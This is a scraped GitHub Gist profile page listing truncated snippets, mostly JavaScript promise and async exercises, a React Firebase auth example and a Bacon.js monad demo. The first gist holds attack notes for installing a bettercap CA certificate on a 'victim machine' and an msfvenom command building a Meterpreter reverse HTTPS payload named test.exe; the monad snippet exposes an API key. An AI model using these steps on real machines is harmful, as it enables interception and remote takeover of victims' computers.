Skip to content

Instantly share code, notes, and snippets.

View solominh's full-sized avatar

Minh Tran solominh

View GitHub Profile
IMPORT BETTERCAP_CA.PEM INTO VICTIM MACHINE
0. Fix bettercap-ca.pem
- cd /root/.bettercap/
- cp bettercap-ca.pem ca.pem
- gedit ca.pem
=> delete private key and save
1. Create a virus name test.exe
- msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.0.104 LPORT=443 -f exe -o /root/.bettercap/test.exe
@solominh
solominh / react-firebase-auth.js
Created March 25, 2017 00:10 — forked from nateinaction/react-firebase-auth.js
This is a version of Facebook's React Conditional Rendering example modified to support firebase authentication.
/*
* This is a version of Facebook's React Conditional Rendering
* example modified to support firebase authentication.
* https://facebook.github.io/react/docs/conditional-rendering.html
*/
import React, { Component, PropTypes } from 'react';
import * as firebase from 'firebase';
function UserAvatar(props) {
function test1() {
const timer = (ms) => {
return new Promise(resolve => {
setTimeout(() => {
resolve();
}, ms)
});
}
let promises = [timer(4000), timer(2000), timer(3000), timer(1000)];
var promise1 = new Promise((resolve, reject) => {
setTimeout(() => {
console.log('Begin resolve promise 1')
resolve('First')
console.log('End resolve promise 1')
}, 4000)
})
var promise2 = new Promise((resolve, reject) => {
setTimeout(() => {
@solominh
solominh / monad-stream-example.js
Created January 24, 2017 19:26 — forked from mpj/monad-stream-example.js
This is the code from Monads - episode #21 of FunFunFunction (https://www.youtube.com/playlist?list=PL0zVEGEvSaeFSwPn06GKArptSxiP1Gff8)
const fetch = require('node-fetch')
const Bacon = require('baconjs')
function getInPortuguese(word) {
// Google Translate API is a paid (but dirt cheap) service. This is my key
// and will be disabled by the time the video is out. To generate your own,
// go here: https://cloud.google.com/translate/v2/getting_started
const apiKey =
'AIzaSyB4DyRHIsNhogQXmH16YKbZfR-lTXrQpq0'
const url =
var timer = (ms) => {
return new Promise((resolve, reject) => {
setTimeout(() => {
resolve();
}, ms)
});
}
promises = [timer(3000), timer(5000), timer(1000), timer(2000)]
async function doSomething() {
var timer = (ms) => {
return new Promise((resolve, reject) => {
setTimeout(() => {
resolve();
}, ms)
});
}
promises = [timer(3000), timer(5000), timer(1000), timer(2000)]
async function doSomething() {
idx = 0;
var test = () => {
new Promise((resolve, reject) => {
resolve(undefined); // Will call then
}).then(() => {
console.log("Then");
}).catch(() => {
console.log("Catch");
})
}
var timer = (ms) => {
return new Promise((resolve, reject) => {
setTimeout(() => {
resolve();
}, ms)
});
}
var promise1 = timer(4000);
timer(4000).then(() => {
var timer = (ms) => {
return new Promise((resolve, reject) => {
setTimeout(() => {
resolve();
}, ms)
});
}
promises = [timer(3000), timer(5000), timer(1000), timer(2000)]
promises.reduce((chain, promise, idx) => {